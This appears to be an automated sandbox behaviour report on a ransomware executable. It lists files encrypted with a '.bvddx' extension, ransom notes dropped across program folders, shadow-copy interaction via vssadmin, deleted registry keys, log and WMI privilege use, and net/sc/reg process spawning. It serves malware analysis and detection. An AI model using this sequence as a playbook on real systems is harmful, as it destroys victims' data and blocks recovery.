File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\3838_48x48x32.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\fr-FR\TabTip32.exe.mui.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Common Files\System\msadc\en-US\msadcor.dll.mui C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\MainPage\silverIcon.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\Assets\Sounds\Camcorder_stop_5.wav C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Internet Explorer\de-DE\ieinstal.exe.mui.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_GAAAABgAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\toc.gif.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\LTR\contrast-black\WideTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\kk\rFSH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\PROOF\rFSH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\pl-pl\rFSH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.properties.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\LTR\contrast-black\SmallTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-64.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\msadc\en-US\msadcor.dll.mui C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\rFSH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.core_5.5.0.165303.jar.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_EgAAABIAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019VL_MAK_AE-ul-oob.xrm-ms.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-black_scale-80.png.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Logos\Wide310x150\PaintWideTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy.jar.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\Interceptor.tlb.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_KAAAACgAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\Assets\AppPackageAppList.targetsize-48_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\daily_challenge.jpg C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\TimerMedTile.contrast-black_scale-125.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\Assets\contrast-white\MusicStoreLogo.scale-150_contrast-white.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\da-dk\rFSH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherImages\423x173\29.jpg C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\TrafficHub\contrast-white\MedTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\uk-ua\ui-strings.js.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_PAAAADwAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\sl-si\ui-strings.js.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\rFSH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-16_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ui-strings.js.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusiness2019VL_MAK_AE-ul-phn.xrm-ms.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_GgAAABoAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\status.json.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Car\RTL\contrast-white\MedTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Snippets\ShouldNotMatch.snippets.ps1xml C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler.xml.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_HgAAAB4AAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3068 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 1332 wrote to memory of 4084 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1332 wrote to memory of 4084 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 4080 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 4080 wrote to memory of 2000 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4080 wrote to memory of 2000 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 1800 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 1800 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 1800 wrote to memory of 2712 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1800 wrote to memory of 2712 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 1548 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 1548 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 1548 wrote to memory of 2720 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1548 wrote to memory of 2720 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 1176 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 1176 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 1176 wrote to memory of 2196 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1176 wrote to memory of 2196 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 440 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 440 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 440 wrote to memory of 3484 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 440 wrote to memory of 3484 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 1412 wrote to memory of 1752 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1412 wrote to memory of 1752 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 2736 wrote to memory of 1892 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2736 wrote to memory of 1892 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 3068 wrote to memory of 2600 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\net.exe
PID 2600 wrote to memory of 3828 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2600 wrote to memory of 3828 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3068 wrote to memory of 3776 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 3776 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 3860 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 3860 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 2440 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 1512 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 1512 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\sc.exe
PID 3068 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 832 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 832 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe
PID 3068 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe

